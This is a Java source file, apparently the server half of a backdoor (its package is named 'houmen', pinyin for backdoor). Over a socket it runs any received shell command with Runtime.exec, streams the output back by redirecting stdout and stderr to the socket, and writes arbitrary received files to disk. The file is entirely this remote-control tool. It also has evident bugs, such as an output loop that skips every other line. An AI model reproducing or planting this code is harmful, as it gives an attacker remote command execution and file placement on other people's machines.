package houmen;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintStream;
import java.net.Socket;
import java.util.Arrays;

public class SocketProcesser{

	private Socket s;

	public SocketProcesser(Socket s) {
		this.s = s;
	}

	public void run() {

		resetOutputStream();
		
		while(true) {
			try {
				
				byte [] buf = read();
				
				BufferedReader br = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(buf)));
				
				String line = br.readLine();		//读取指令
				if(line.equals("command")) {		//发送命令
					line = br.readLine();
					
					String command = line;			//读取命令
					System.out.println("read command:" + command);
					System.out.println("running....");
					Process exec = Runtime.getRuntime().exec(command);
					System.out.println("over!");
					System.out.println("info:");
					showProcess(exec);
					
				} else {							//创建文件
					
					String fileName = line;			//读取文件名
					File f = new File(fileName);
					f.createNewFile();
					FileOutputStream fos = new FileOutputStream(f);
					fos.write(buf);
					fos.flush();
					fos.close();
				}

			} catch (IOException e) {
				e.printStackTrace();
				break;
			}
		}
	}

	/**
	 * 显示执行结果
	 * @param exec
	 */
	private void showProcess(Process exec) {
		System.out.println();
		BufferedReader br=null;   
        try {   
            br=new BufferedReader(new InputStreamReader(exec.getInputStream()));   
            @SuppressWarnings("unused")   
            String line=null;   
            while((line=br.readLine())!=null){   
                System.out.println(br.readLine());   
            }   
        } catch (IOException e) {   
            e.printStackTrace();   
        }finally{   
            if(br!=null){   
                try {   
                    br.close();   
                } catch (Exception e) {   
                    e.printStackTrace();   
                }   
            }   
        }   
	}

	/**
	 * 重置输入流至网络输出流
	 */
	private void resetOutputStream() {
		try {
			PrintStream ps = new PrintStream(s.getOutputStream());
			System.setOut(ps);
			System.setErr(ps);
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	/**
	 * 从socket的输入流中读取数据, 返回读取的byte数组
	 */
	private byte[] read() throws IOException {
		InputStream is = s.getInputStream();

		byte [] buf = new byte[1024 * 1024];
		int size = new DataInputStream(is).read(buf);
		buf = Arrays.copyOf(buf, size);
		
		return buf;
	}
}
